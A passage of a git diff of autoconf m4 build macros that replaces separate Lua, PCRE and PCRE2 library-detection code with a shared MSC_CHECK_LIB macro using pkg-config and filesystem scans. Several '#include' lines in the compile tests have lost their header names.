using pkg-config... - if test -n "${PKG_CONFIG}"; then - LUA_PKG_NAME="" - for x in ${LUA_POSSIBLE_LIB_NAMES}; do - if ${PKG_CONFIG} --exists ${x}; then - LUA_PKG_NAME="$x" - LUA_PKG_VERSION="`${PKG_CONFIG} ${LUA_PKG_NAME} --modversion`" - break - fi - done - fi - if test -n "${LUA_PKG_NAME}"; then - # Package was found using the pkg-config scripts - LUA_PKG_VERSION="`${PKG_CONFIG} ${LUA_PKG_NAME} --modversion`" - LUA_CFLAGS="`${PKG_CONFIG} ${LUA_PKG_NAME} --cflags`" - LUA_LDADD="`${PKG_CONFIG} ${LUA_PKG_NAME} --libs-only-l`" - LUA_LDFLAGS="`${PKG_CONFIG} ${LUA_PKG_NAME} --libs-only-L --libs-only-other`" - LUA_DISPLAY="${LUA_LDADD}, ${LUA_CFLAGS}" - case $LUA_PKG_VERSION in - (5.1*) LUA_CFLAGS="-DWITH_LUA_5_1 ${LUA_CFLAGS}" ; lua_5_1=1 ;; - (5.2*) LUA_CFLAGS="-DWITH_LUA_5_2 ${LUA_CFLAGS}" ; lua_5_2=1 ;; - (5.3*) LUA_CFLAGS="-DWITH_LUA_5_3 ${LUA_CFLAGS}" ; lua_5_3=1 ;; - (5.4*) LUA_CFLAGS="-DWITH_LUA_5_4 ${LUA_CFLAGS}" ; lua_5_4=1 ;; - (2.0*) LUA_CFLAGS="-DWITH_LUA_5_1 ${LUA_CFLAGS}" ; lua_5_1=1 ;; - (2.1*) LUA_CFLAGS="-DWITH_LUA_5_1 -DWITH_LUA_JIT_2_1 ${LUA_CFLAGS}" ; lua_5_1=1 ;; +dnl Sets: +dnl LUA_CFLAGS +dnl LUA_LDADD +dnl LUA_LDFLAGS +dnl LUA_DISPLAY +dnl LUA_FOUND + +AC_DEFUN([CHECK_LUA], [ +MSC_CHECK_LIB([LUA], [lua55 lua5.5 lua-5.5 lua54 lua5.4 lua-5.4 lua53 lua5.3 lua-5.3 lua52 lua5.2 lua-5.2 lua51 lua5.1 lua-5.1 luajit lua], [lua.h], [lua5.5 lua5.4 lua5.3 lua5.2 lua5.1 luajit-5.1 lua], [-DWITH_LUA]) + +# Post-processing: detect Lua version and add version-specific defines +if test "x${LUA_FOUND}" = "x1"; then + + # Use version already detected by MSC_CHECK_LIB (from pkg-config) if available + if test -n "${LUA_VERSION}" && test "x${LUA_VERSION}" != "xunknown"; then + case ${LUA_VERSION} in + 5.1*) LUA_CFLAGS="-DWITH_LUA_5_1 ${LUA_CFLAGS}" ;; + 5.2*) LUA_CFLAGS="-DWITH_LUA_5_2 ${LUA_CFLAGS}" ;; + 5.3*) LUA_CFLAGS="-DWITH_LUA_5_3 ${LUA_CFLAGS}" ;; + 5.4*) LUA_CFLAGS="-DWITH_LUA_5_4 ${LUA_CFLAGS}" ;; + 5.5*) LUA_CFLAGS="-DWITH_LUA_5_5 ${LUA_CFLAGS}" ;; + 2.0*) LUA_CFLAGS="-DWITH_LUA_5_1 ${LUA_CFLAGS}" ;; + 2.1*) LUA_CFLAGS="-DWITH_LUA_5_1 -DWITH_LUA_JIT_2_1 ${LUA_CFLAGS}" ;; esac - AC_MSG_NOTICE([LUA pkg-config version: ${LUA_PKG_VERSION}]) - fi + AC_MSG_NOTICE([LUA version: ${LUA_VERSION}]) fi -fi - -if test -z "${LUA_CFLAGS}"; then - if test -z "${LUA_MANDATORY}" || test "x${LUA_MANDATORY}" == "xno"; then - if test -z "${LUA_DISABLED}"; then - AC_MSG_NOTICE([LUA library was not found]) - LUA_FOUND=0 - else - LUA_FOUND=2 + # If no version detected yet, try compile tests + if test -z "${LUA_VERSION}" || test "x${LUA_VERSION}" = "xunknown"; then + LUA_VERSION="" + _msc_save_CFLAGS=$CFLAGS + CFLAGS="${LUA_CFLAGS} ${CFLAGS}" + + AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include ]], + [[ #if (LUA_VERSION_NUM == 505) + return 0; + #else + #error not 5.5 + #endif ]])], + [ _msc_lua_ver=505 ], [ _msc_lua_ver="" ]) + + AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include ]], + [[ #if (LUA_VERSION_NUM == 504) + return 0; + #else + #error not 5.4 + #endif ]])], + [ _msc_lua_ver=504 ], [ _msc_lua_ver="" ]) + + if test -z "$_msc_lua_ver"; then + AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include ]], + [[ #if (LUA_VERSION_NUM == 503) + return 0; + #else + #error not 5.3 + #endif ]])], + [ _msc_lua_ver=503 ], [ _msc_lua_ver="" ]) fi - else - AC_MSG_ERROR([LUA was explicitly referenced but it was not found]) - LUA_FOUND=-1 - fi -else - if test -z "${LUA_MANDATORY}" || test "x${LUA_MANDATORY}" == "xno"; then - LUA_FOUND=1 - AC_MSG_NOTICE([using LUA ${LUA_LDADD}]) - LUA_CFLAGS="-DWITH_LUA ${LUA_CFLAGS}" - LUA_DISPLAY="${LUA_LDADD} ${LUA_LDFLAGS}, ${LUA_CFLAGS}" - AC_SUBST(LUA_LDFLAGS) - AC_SUBST(LUA_LDADD) - AC_SUBST(LUA_CFLAGS) - AC_SUBST(LUA_DISPLAY) - else - LUA_FOUND=1 - AC_MSG_NOTICE([using LUA ${LUA_LDADD}]) - LUA_CFLAGS="-DWITH_LUA ${LUA_CFLAGS}" - LUA_DISPLAY="${LUA_LDADD} ${LUA_LDFLAGS}, ${LUA_CFLAGS}" - AC_SUBST(LUA_LDFLAGS) - AC_SUBST(LUA_LDADD) - AC_SUBST(LUA_CFLAGS) - AC_SUBST(LUA_DISPLAY) - fi -fi -AC_SUBST(LUA_FOUND) - -]) # AC_DEFUN [CHECK_LUA] - - -AC_DEFUN([CHECK_FOR_LUA_AT], [ - path=$1 - echo "*** LOOKING AT PATH: " ${path} - for y in ${LUA_POSSIBLE_EXTENSIONS}; do - for z in ${LUA_POSSIBLE_LIB_NAMES}; do - if test -e "${path}/${z}.${y}"; then - lua_lib_path="${path}/" - lua_lib_name="${z}" - lua_lib_file="${lua_lib_path}/${z}.${y}" - break - fi - if test -e "${path}/lib${z}.${y}"; then - lua_lib_path="${path}/" - lua_lib_name="${z}" - lua_lib_file="${lua_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/lib${z}.${y}"; then - lua_lib_path="${path}/lib/" - lua_lib_name="${z}" - lua_lib_file="${lua_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/x86_64-linux-gnu/lib${z}.${y}"; then - lua_lib_path="${path}/lib/x86_64-linux-gnu/" - lua_lib_name="${z}" - lua_lib_file="${lua_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/i386-linux-gnu/lib${z}.${y}"; then - lua_lib_path="${path}/lib/i386-linux-gnu/" - lua_lib_name="${z}" - lua_lib_file="${lua_lib_path}/lib${z}.${y}" - break - fi - done - if test -n "$lua_lib_path"; then - break - fi - done - if test -e "${path}/include/lua.h"; then - lua_inc_path="${path}/include" - elif test -e "${path}/lua.h"; then - lua_inc_path="${path}" - elif test -e "${path}/include/lua/lua.h"; then - lua_inc_path="${path}/include/lua" - elif test -e "${path}/include/lua5.4/lua.h"; then - lua_inc_path="${path}/include/lua5.4" - LUA_VERSION=504 - elif test -e "${path}/include/lua5.3/lua.h"; then - lua_inc_path="${path}/include/lua5.3" - LUA_VERSION=503 - elif test -e "${path}/include/lua5.2/lua.h"; then - lua_inc_path="${path}/include/lua5.2" - LUA_VERSION=502 - elif test -e "${path}/include/lua5.1/lua.h"; then - lua_inc_path="${path}/include/lua5.1" - LUA_VERSION=501 - elif test -e "${path}/include/luajit-2.0/lua.h"; then - lua_inc_path="${path}/include/luajit-2.0" - LUA_VERSION=501 - fi - - if test -n "${lua_lib_path}"; then - AC_MSG_NOTICE([LUA library found at: ${lua_lib_file}]) - fi - - if test -n "${lua_inc_path}"; then - AC_MSG_NOTICE([LUA headers found at: ${lua_inc_path}]) - fi - if test -n "${lua_lib_path}" -a -n "${lua_inc_path}"; then - LUA_CFLAGS="-I${lua_inc_path}" - LUA_LDADD="-l${lua_lib_name}" - LUA_LDFLAGS="-L${lua_lib_path}" - LUA_DISPLAY="${lua_lib_file}, ${lua_inc_path}" - - # Double checking version from lua.h... - AC_TRY_COMPILE([ #include > ], - [ #if (LUA_VERSION_NUM < 502) - return 0; - #else - #error Lua 5.1 not detected - #endif ], - [ LUA_VERSION=501 ], [ lua_5_1=0 ] - ) - - AC_TRY_COMPILE([ #include ], - [ #if (LUA_VERSION_NUM == 502) - return 0; - #else - #error Lua 5.2 not detected - #endif ], - [ LUA_VERSION=502 ], [ lua_5_2=0 ] - ) - AC_TRY_COMPILE([ #include ], - [ #if (LUA_VERSION_NUM == 504) - return 0; - #else - #error Lua 5.4 not detected - #endif ], - [ LUA_VERSION=504 ], [ lua_5_4=0 ] - ) + if test -z "$_msc_lua_ver"; then + AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include ]], + [[ #if (LUA_VERSION_NUM == 502) + return 0; + #else + #error not 5.2 + #endif ]])], + [ _msc_lua_ver=502 ], [ _msc_lua_ver="" ]) + fi - if test -z "${LUA_VERSION}" ; then - # As a last resort, try to find LUA version from $lua_inc_path - while read -r line - do - case "$line" in - (\#define\ LUA_VERSION_NUM*501*) LUA_VERSION=501 ;; - (\#define\ LUA_VERSION_NUM*502*) LUA_VERSION=502 ;; - (\#define\ LUA_VERSION_NUM*503*) LUA_VERSION=503 ;; - (\#define\ LUA_VERSION_NUM*504*) LUA_VERSION=504 - esac - done <"${lua_inc_path}/lua.h" - AC_MSG_NOTICE([LUA_VERSION is ${LUA_VERSION} found at: ${lua_inc_path}]) - else - AC_MSG_NOTICE([LUA version from includes: ${LUA_VERSION}]) + if test -z "$_msc_lua_ver"; then + AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include ]], + [[ #if (LUA_VERSION_NUM == 501) + return 0; + #else + #error not 5.1 + #endif ]])], + [ _msc_lua_ver=501 ], [ _msc_lua_ver="" ]) fi - case $LUA_VERSION in - (501) LUA_CFLAGS="-DWITH_LUA_5_1 ${LUA_CFLAGS}" ; lua_5_1=1 ;; - (502) LUA_CFLAGS="-DWITH_LUA_5_2 ${LUA_CFLAGS}" ; lua_5_2=1 ;; - (503) LUA_CFLAGS="-DWITH_LUA_5_3 ${LUA_CFLAGS}" ; lua_5_3=1 ;; - (504) LUA_CFLAGS="-DWITH_LUA_5_4 ${LUA_CFLAGS}" ; lua_5_4=1 ;; + CFLAGS=$_msc_save_CFLAGS + + case $_msc_lua_ver in + 501) LUA_CFLAGS="-DWITH_LUA_5_1 ${LUA_CFLAGS}" ;; + 502) LUA_CFLAGS="-DWITH_LUA_5_2 ${LUA_CFLAGS}" ;; + 503) LUA_CFLAGS="-DWITH_LUA_5_3 ${LUA_CFLAGS}" ;; + 504) LUA_CFLAGS="-DWITH_LUA_5_4 ${LUA_CFLAGS}" ;; + 505) LUA_CFLAGS="-DWITH_LUA_5_5 ${LUA_CFLAGS}" ;; esac + if test -n "$_msc_lua_ver"; then + AC_MSG_NOTICE([LUA version from compile test: $_msc_lua_ver]) + fi fi -]) # AC_DEFUN [CHECK_FOR_LUA_AT] - - + LUA_DISPLAY="${LUA_LDADD} ${LUA_LDFLAGS}, ${LUA_CFLAGS}" +fi +]) # AC_DEFUN [CHECK_LUA] diff --git a/build/msc_find_lib.m4 b/build/msc_find_lib.m4 new file mode 100644 index 0000000000..77fdb38d38 --- /dev/null +++ b/build/msc_find_lib.m4 @@ -0,0 +1,266 @@ +dnl MSC_CHECK_LIB: Generic library detection macro +dnl +dnl MSC_CHECK_LIB(NAME, PKG_NAMES, HEADER, LIB_NAMES, EXTRA_CFLAGS, +dnl [MIN_VERSION], [WITH_NAME]) +dnl +dnl Detects a library via pkg-config first, then falls back to manual +dnl file-system scanning. Preserves the --with-LIB=PATH|yes|no interface. +dnl +dnl Sets and AC_SUBSTs: +dnl ${NAME}_CFLAGS, ${NAME}_LDADD, ${NAME}_LDFLAGS, +dnl ${NAME}_VERSION, ${NAME}_DISPLAY, ${NAME}_FOUND (0/1/2) +dnl +dnl NAME - Variable prefix (e.g., YAJL, CURL, LIBXML2) +dnl PKG_NAMES - Space-separated pkg-config names to try +dnl HEADER - Header file to look for (e.g., yajl/yajl_parse.h) +dnl LIB_NAMES - Space-separated library names for -l flags +dnl EXTRA_CFLAGS - Additional CFLAGS when found (e.g., -DWITH_YAJL) +dnl MIN_VERSION - Optional minimum version for pkg-config check +dnl WITH_NAME - Optional --with-X name if different from lowercased NAME + +AC_DEFUN([MSC_CHECK_LIB], [ +m4_pushdef([_MSC_NAME], [$1])dnl +m4_pushdef([_MSC_PKG_NAMES], [$2])dnl +m4_pushdef([_MSC_HEADER], [$3])dnl +m4_pushdef([_MSC_LIB_NAMES], [$4])dnl +m4_pushdef([_MSC_EXTRA_CFLAGS], [$5])dnl +m4_pushdef([_MSC_MIN_VERSION], [$6])dnl +m4_pushdef([_MSC_WITH_NAME], [m4_default([$7], m4_tolower([$1]))])dnl +m4_pushdef([_MSC_POSSIBLE_PATHS], [/usr/local /usr /opt /opt/local /usr/lib /usr/local/lib /usr/lib64])dnl +m4_pushdef([_MSC_POSSIBLE_EXTENSIONS], [so la sl dll dylib])dnl + +# Initialize variables +$1_VERSION="" +$1_CFLAGS="" +$1_LDADD="" +$1_LDFLAGS="" +$1_DISPLAY="" +$1_FOUND=0 +_msc_[]m4_tolower($1)[]_mandatory="" +_msc_[]m4_tolower($1)[]_disabled="" + +AC_ARG_WITH( + _MSC_WITH_NAME, + [AS_HELP_STRING([--with-]_MSC_WITH_NAME[=PATH], + [Path to ]_MSC_NAME[ prefix. Use 'no' to disable.])]) + +# Get the value of the --with flag +_msc_with_val="$with_[]m4_translit(_MSC_WITH_NAME, [-], [_])" + +if test "x${_msc_with_val}" = "xno"; then + AC_MSG_NOTICE([$1 support disabled via --without-]_MSC_WITH_NAME) + _msc_[]m4_tolower($1)[]_disabled=yes +elif test "x${_msc_with_val}" = "xyes"; then + _msc_[]m4_tolower($1)[]_mandatory=yes + AC_MSG_NOTICE([$1 support marked as mandatory]) + # Try pkg-config + _MSC_TRY_PKG_CONFIG([$1], [_MSC_PKG_NAMES], [_MSC_MIN_VERSION]) + if test -z "${$1_VERSION}"; then + _MSC_TRY_MANUAL([$1], [_MSC_HEADER], [_MSC_LIB_NAMES]) + fi +elif test "x${_msc_with_val}" = "x"; then + # Auto-detect + AC_MSG_NOTICE([Auto-detecting $1...]) + _MSC_TRY_PKG_CONFIG([$1], [_MSC_PKG_NAMES], [_MSC_MIN_VERSION]) + if test -z "${$1_VERSION}"; then + _MSC_TRY_MANUAL([$1], [_MSC_HEADER], [_MSC_LIB_NAMES]) + fi +else + # Specific path provided + _msc_[]m4_tolower($1)[]_mandatory=yes + _MSC_TRY_PKG_CONFIG_AT([$1], [_MSC_PKG_NAMES], [_MSC_MIN_VERSION], [${_msc_with_val}]) + if test -z "${$1_VERSION}"; then + _MSC_CHECK_AT([$1], [_MSC_HEADER], [_MSC_LIB_NAMES], [${_msc_with_val}]) + fi +fi + +# Evaluate results +if test -n "${$1_LDADD}" || test -n "${$1_VERSION}"; then + $1_FOUND=1 + AC_MSG_NOTICE([using $1 v${$1_VERSION}]) + $1_CFLAGS="_MSC_EXTRA_CFLAGS ${$1_CFLAGS}" + if test -z "${$1_DISPLAY}"; then + $1_DISPLAY="${$1_LDADD}, ${$1_CFLAGS}" + fi + AC_SUBST($1_VERSION) + AC_SUBST($1_LDADD) + AC_SUBST($1_LDFLAGS) + AC_SUBST($1_CFLAGS) + AC_SUBST($1_DISPLAY) +elif test -n "${_msc_[]m4_tolower($1)[]_disabled}"; then + $1_FOUND=2 +elif test -n "${_msc_[]m4_tolower($1)[]_mandatory}"; then + AC_MSG_ERROR([$1 was explicitly requested but not found]) +else + AC_MSG_NOTICE([$1 library not found]) + $1_FOUND=0 +fi + +AC_SUBST($1_FOUND) + +m4_popdef([_MSC_POSSIBLE_EXTENSIONS])dnl +m4_popdef([_MSC_POSSIBLE_PATHS])dnl +m4_popdef([_MSC_WITH_NAME])dnl +m4_popdef([_MSC_MIN_VERSION])dnl +m4_popdef([_MSC_EXTRA_CFLAGS])dnl +m4_popdef([_MSC_LIB_NAMES])dnl +m4_popdef([_MSC_HEADER])dnl +m4_popdef([_MSC_PKG_NAMES])dnl +m4_popdef([_MSC_NAME])dnl +]) # MSC_CHECK_LIB + + +dnl _MSC_TRY_PKG_CONFIG(NAME, PKG_NAMES, MIN_VERSION) +dnl Try to find the library via pkg-config +AC_DEFUN([_MSC_TRY_PKG_CONFIG], [ +if test -n "${PKG_CONFIG}"; then + _msc_pkg_name="" + for _msc_p in $2; do + if test -n "$3"; then + if ${PKG_CONFIG} --exists "${_msc_p} >= $3" 2>/dev/null; then + _msc_pkg_name="${_msc_p}" + break + fi + else + if ${PKG_CONFIG} --exists "${_msc_p}" 2>/dev/null; then + _msc_pkg_name="${_msc_p}" + break + fi + fi + done + if test -n "${_msc_pkg_name}"; then + $1_VERSION="`${PKG_CONFIG} ${_msc_pkg_name} --modversion`" + $1_CFLAGS="`${PKG_CONFIG} ${_msc_pkg_name} --cflags`" + $1_LDADD="`${PKG_CONFIG} ${_msc_pkg_name} --libs-only-l`" + $1_LDFLAGS="`${PKG_CONFIG} ${_msc_pkg_name} --libs-only-L --libs-only-other`" + $1_DISPLAY="${$1_LDADD}, ${$1_CFLAGS}" + AC_MSG_NOTICE([$1 found via pkg-config: ${_msc_pkg_name} v${$1_VERSION}]) + fi +fi +]) # _MSC_TRY_PKG_CONFIG + + +dnl _MSC_TRY_PKG_CONFIG_AT(NAME, PKG_NAMES, MIN_VERSION, PATH) +dnl Try pkg-config with PKG_CONFIG_PATH set to a specific location +AC_DEFUN([_MSC_TRY_PKG_CONFIG_AT], [ +if test -n "${PKG_CONFIG}"; then + _msc_save_pkg_config_path="${PKG_CONFIG_PATH}" + PKG_CONFIG_PATH="$4/lib/pkgconfig:$4/lib64/pkgconfig:$4/share/pkgconfig:${PKG_CONFIG_PATH}" + export PKG_CONFIG_PATH + _MSC_TRY_PKG_CONFIG([$1], [$2], [$3]) + PKG_CONFIG_PATH="${_msc_save_pkg_config_path}" + export PKG_CONFIG_PATH +fi +]) # _MSC_TRY_PKG_CONFIG_AT + + +dnl _MSC_TRY_MANUAL(NAME, HEADER, LIB_NAMES) +dnl Try to find the library by scanning common paths +AC_DEFUN([_MSC_TRY_MANUAL], [ +for _msc_search_path in /usr/local /usr /opt /opt/local /usr/lib /usr/local/lib /usr/lib64; do + _MSC_CHECK_AT([$1], [$2], [$3], [${_msc_search_path}]) + if test -n "${$1_VERSION}"; then + break + fi + # Also check if LDADD was set (version may not always be detected manually) + if test -n "${$1_LDADD}"; then + break + fi +done +]) # _MSC_TRY_MANUAL + + +dnl _MSC_CHECK_AT(NAME, HEADER, LIB_NAMES, PATH) +dnl Check for a library at a specific path +AC_DEFUN([_MSC_CHECK_AT], [ +_msc_check_lib_path="" +_msc_check_lib_name="" +_msc_check_lib_file="" +_msc_check_inc_path="" + +# Search for library files +for _msc_ext in so la sl dll dylib; do + for _msc_ln in $3; do + for _msc_try_path in \ + "$4/lib${_msc_ln}.${_msc_ext}" \ + "$4/lib/lib${_msc_ln}.${_msc_ext}" \ + "$4/lib64/lib${_msc_ln}.${_msc_ext}" \ + "$4/lib/x86_64-linux-gnu/lib${_msc_ln}.${_msc_ext}" \ + "$4/lib/i386-linux-gnu/lib${_msc_ln}.${_msc_ext}"; do + if test -e "${_msc_try_path}"; then + _msc_check_lib_path="`dirname ${_msc_try_path}`" + _msc_check_lib_name="${_msc_ln}" + _msc_check_lib_file="${_msc_try_path}" + break 3 + fi + done + done +done + +# Search for header file +_msc_header_base="`basename $2`" +_msc_header_dir="`dirname $2`" +if test "${_msc_header_dir}" = "."; then + # Simple header name (e.g., "lmdb.h") + if test -e "$4/include/$2"; then + _msc_check_inc_path="$4/include" + elif test -e "$4/$2"; then + _msc_check_inc_path="$4" + fi +else + # Header with subdirectory (e.g., "yajl/yajl_parse.h") + if test -e "$4/include/$2"; then + _msc_check_inc_path="$4/include" + elif test -e "$4/$2"; then + _msc_check_inc_path="$4" + fi +fi + +if test -n "${_msc_check_lib_path}" && test -n "${_msc_check_inc_path}"; then + AC_MSG_NOTICE([$1 headers found at: ${_msc_check_inc_path}]) + AC_MSG_NOTICE([$1 library found at: ${_msc_check_lib_file}]) + $1_CFLAGS="-I${_msc_check_inc_path}" + $1_LDADD="-l${_msc_check_lib_name}" + $1_LDFLAGS="-L${_msc_check_lib_path}" + $1_DISPLAY="${_msc_check_lib_file}, ${_msc_check_inc_path}" + # Version is unknown from manual detection + if test -z "${$1_VERSION}"; then + $1_VERSION="unknown" + fi +fi +]) # _MSC_CHECK_AT + + +dnl MSC_STATUS_LIB(DISPLAY_NAME, VAR_PREFIX) +dnl Print a status line for the configure summary +AC_DEFUN([MSC_STATUS_LIB], [ +if test "x${$2_FOUND}" = "x0"; then + echo " + $1 ....not found" +fi +if test "x${$2_FOUND}" = "x1"; then + AS_ECHO_N([" + $1 ....found "]) + if ! test "x${$2_VERSION}" = "x"; then + echo "v${$2_VERSION}" + else + echo "" + fi + echo " ${$2_DISPLAY}" +fi +if test "x${$2_FOUND}" = "x2"; then + echo " + $1 ....disabled" +fi +]) # MSC_STATUS_LIB + + +dnl MSC_ARG_ENABLE_BOOL(NAME, HELP_TEXT, DEFAULT, VARIABLE) +dnl Wrapper for boolean AC_ARG_ENABLE options +AC_DEFUN([MSC_ARG_ENABLE_BOOL], [ +AC_ARG_ENABLE($1, + [AS_HELP_STRING([--enable-$1],[$2])], + [case "${enableval}" in + yes) $4=true ;; + no) $4=false ;; + *) AC_MSG_ERROR([bad value ${enableval} for --enable-$1]) ;; + esac], + [$4=$3]) +]) # MSC_ARG_ENABLE_BOOL diff --git a/build/pcre.m4 b/build/pcre.m4 index f338aa5022..393da883f1 100644 --- a/build/pcre.m4 +++ b/build/pcre.m4 @@ -1,8 +1,10 @@ dnl Check for PCRE Libraries -dnl CHECK_PCRE(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) dnl Sets: dnl PCRE_CFLAGS -dnl PCRE_LIBS +dnl PCRE_LDADD +dnl PCRE_LDFLAGS +dnl PCRE_VERSION +dnl PCRE_FOUND PCRE_CONFIG="" PCRE_VERSION="" @@ -12,102 +14,37 @@ PCRE_LDFLAGS="" PCRE_LDADD="" PCRE_LD_PATH="" -AC_DEFUN([CHECK_PCRE], -[dnl - -AC_ARG_WITH( - pcre, - [AS_HELP_STRING([--with-pcre=PATH],[Path to pcre prefix or config script])], - [test_paths="${with_pcre}"], - [test_paths="/usr/local/libpcre /usr/local/pcre /usr/local /opt/libpcre /opt/pcre /opt /usr /opt/local"]) - -if test "x${with_pcre2}" != "x" && test "x${with_pcre2}" != "xno"; then - AC_MSG_NOTICE([pcre2 specified; omitting check for pcre]) -else - - AC_MSG_CHECKING([for libpcre config script]) - - for x in ${test_paths}; do - dnl # Determine if the script was specified and use it directly - if test ! -d "$x" -a -e "$x"; then - PCRE_CONFIG=$x - pcre_path="no" - break - fi - - dnl # Try known config script names/locations - for PCRE_CONFIG in pcre-config; do - if test -e "${x}/bin/${PCRE_CONFIG}"; then - pcre_path="${x}/bin" - break - elif test -e "${x}/${PCRE_CONFIG}"; then - pcre_path="${x}" - break - else - pcre_path="" - fi - done - if test -n "$pcre_path"; then - break - fi - done - - if test -n "${pcre_path}"; then - if test "${pcre_path}" != "no"; then - PCRE_CONFIG="${pcre_path}/${PCRE_CONFIG}" - fi - AC_MSG_RESULT([${PCRE_CONFIG}]) - PCRE_VERSION="`${PCRE_CONFIG} --version`" - if test ! -z "${PCRE_VERSION}"; then AC_MSG_NOTICE(pcre VERSION: $PCRE_VERSION); fi - PCRE_CFLAGS="`${PCRE_CONFIG} --cflags`" - if test ! -z "${PCRE_CFLAGS}"; then AC_MSG_NOTICE(pcre CFLAGS: $PCRE_CFLAGS); fi - PCRE_LDADD="`${PCRE_CONFIG} --libs`" - if test ! -z "${PCRE_LDADD}"; then AC_MSG_NOTICE(pcre LDADD: $PCRE_LDADD); fi - PCRE_LD_PATH="/`${PCRE_CONFIG} --libs | cut -d'/' -f2,3,4,5,6 | cut -d ' ' -f1`" - if test ! -z "${PCRE_LD_PATH}"; then AC_MSG_NOTICE(pcre PCRE_LD_PATH: $PCRE_LD_PATH); fi +AC_DEFUN([CHECK_PCRE], [ +MSC_CHECK_LIB([PCRE], [libpcre], [pcre.h], [pcre], [-DWITH_PCRE]) + +# Post-processing: JIT detection +if test "x${PCRE_FOUND}" = "x1" && test -n "${PCRE_VERSION}"; then + AC_MSG_CHECKING([for PCRE JIT]) + _msc_save_CFLAGS=$CFLAGS + _msc_save_LDFLAGS=$LDFLAGS + _msc_save_LIBS=$LIBS + CFLAGS="${PCRE_CFLAGS} ${CFLAGS}" + LDFLAGS="${PCRE_LDADD} ${LDFLAGS}" + LIBS="${PCRE_LDADD} ${LIBS}" + AC_LINK_IFELSE( + [AC_LANG_PROGRAM([[ #include ]], + [[ pcre_jit_exec(NULL, NULL, NULL, 0, 0, 0, NULL, 0, NULL); ]])], + [ _msc_pcre_jit_available=yes ], + [:] + ) + if test "x$_msc_pcre_jit_available" = "xyes"; then + AC_MSG_RESULT([yes]) + PCRE_CFLAGS="${PCRE_CFLAGS} -DPCRE_HAVE_JIT" else AC_MSG_RESULT([no]) fi + CFLAGS=$_msc_save_CFLAGS + LDFLAGS=$_msc_save_LDFLAGS + LIBS=$_msc_save_LIBS +fi - if test -n "${PCRE_VERSION}"; then - AC_MSG_CHECKING(for PCRE JIT) - save_CFLAGS=$CFLAGS - save_LDFLAGS=$LDFLAGS - save_LIBS=$LIBS - CFLAGS="${PCRE_CFLAGS} ${CFLAGS}" - LDFLAGS="${PCRE_LDADD} ${LDFLAGS}" - LIBS="${PCRE_LDADD} ${LIBS}" - AC_TRY_LINK([ #include ], - [ pcre_jit_exec(NULL, NULL, NULL, 0, 0, 0, NULL, 0, NULL); ], - [ pcre_jit_available=yes ], [:] - ) - - if test "x$pcre_jit_available" = "xyes"; then - AC_MSG_RESULT(yes) - PCRE_CFLAGS="${PCRE_CFLAGS} -DPCRE_HAVE_JIT" - else - AC_MSG_RESULT(no) - fi - CFLAGS=$save_CFLAGS - LDFLAGS=$save_LDFLAGS - LIBS=$save_LIBS - fi - - AC_SUBST(PCRE_CONFIG) - AC_SUBST(PCRE_VERSION) - AC_SUBST(PCRE_CPPFLAGS) - AC_SUBST(PCRE_CFLAGS) - AC_SUBST(PCRE_LDFLAGS) - AC_SUBST(PCRE_LDADD) - AC_SUBST(PCRE_LD_PATH) +AC_SUBST(PCRE_CONFIG) +AC_SUBST(PCRE_CPPFLAGS) +AC_SUBST(PCRE_LD_PATH) - if test -z "${PCRE_VERSION}"; then - AC_MSG_NOTICE([*** pcre library not found.]) - ifelse([$2], , AC_MSG_ERROR([pcre library is required]), $2) - else - AC_MSG_NOTICE([using pcre v${PCRE_VERSION}]) - ifelse([$1], , , $1) - PCRE_LDADD="${PCRE_LDADD} -lpcre" - fi -fi -]) +]) # AC_DEFUN [CHECK_PCRE] diff --git a/build/pcre2.m4 b/build/pcre2.m4 index 0303bc29ff..c441a61155 100644 --- a/build/pcre2.m4 +++ b/build/pcre2.m4 @@ -1,180 +1,13 @@ dnl Check for PCRE2 Libraries -dnl CHECK_PCRE2(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) +dnl PCRE2 is enabled by default (mandatory unless --with-pcre is used). +dnl Sets: +dnl PCRE2_CFLAGS +dnl PCRE2_LDADD +dnl PCRE2_LDFLAGS +dnl PCRE2_VERSION +dnl PCRE2_DISPLAY +dnl PCRE2_FOUND AC_DEFUN([PROG_PCRE2], [ - -# Possible names for the pcre2 library/package (pkg-config) -PCRE2_POSSIBLE_LIB_NAMES="pcre2 pcre2-8" - -# Possible extensions for the library -PCRE2_POSSIBLE_EXTENSIONS="so so0 la sl dll dylib so.0.0.0" - -# Possible paths (if pkg-config was not found, proceed with the file lookup) -PCRE2_POSSIBLE_PATHS="/usr/lib /usr/local/lib /usr/local/libpcre2-8 /usr/local/pcre2 /usr/local /opt/libpcre2-8 /opt/pcre2 /opt /usr /usr/lib64 /opt/local" - -# Variables to be set by this very own script. -PCRE2_VERSION="" -PCRE2_CFLAGS="" -PCRE2_CPPFLAGS="" -PCRE2_LDADD="" -PCRE2_LDFLAGS="" - -AC_ARG_WITH( - pcre2, - [AS_HELP_STRING([--with-pcre2=PATH],[Path to pcre2 prefix or config script])] -) - -if test "x${with_pcre2}" == "xno"; then - AC_DEFINE(HAVE_PCRE2, 0, [Support for PCRE2 was disabled by the utilization of --without-pcre2 or --with-pcre2=no]) - AC_MSG_NOTICE([Support for PCRE2 was disabled by the utilization of --without-pcre2 or --with-pcre2=no]) - PCRE2_DISABLED=yes -else - if test "x${with_pcre2}" == "xyes"; then - PCRE2_MANDATORY=yes - AC_MSG_NOTICE([PCRE2 support was marked as mandatory by the utilization of --with-pcre2=yes]) - fi -# for x in ${PCRE2_POSSIBLE_LIB_NAMES}; do -# CHECK_FOR_PCRE2_AT(${x}) -# if test -n "${PCRE2_VERSION}"; then -# break -# fi -# done - -# if test "x${with_pcre2}" != "xyes" or test "x${with_pcre2}" == "xyes"; then - if test "x${with_pcre2}" == "x" || test "x${with_pcre2}" == "xyes"; then - # Nothing about PCRE2 was informed, using the pkg-config to figure things out. - if test -n "${PKG_CONFIG}"; then - PCRE2_PKG_NAME="" - for x in ${PCRE2_POSSIBLE_LIB_NAMES}; do - if ${PKG_CONFIG} --exists ${x}; then - PCRE2_PKG_NAME="$x" - break - fi - done - fi - 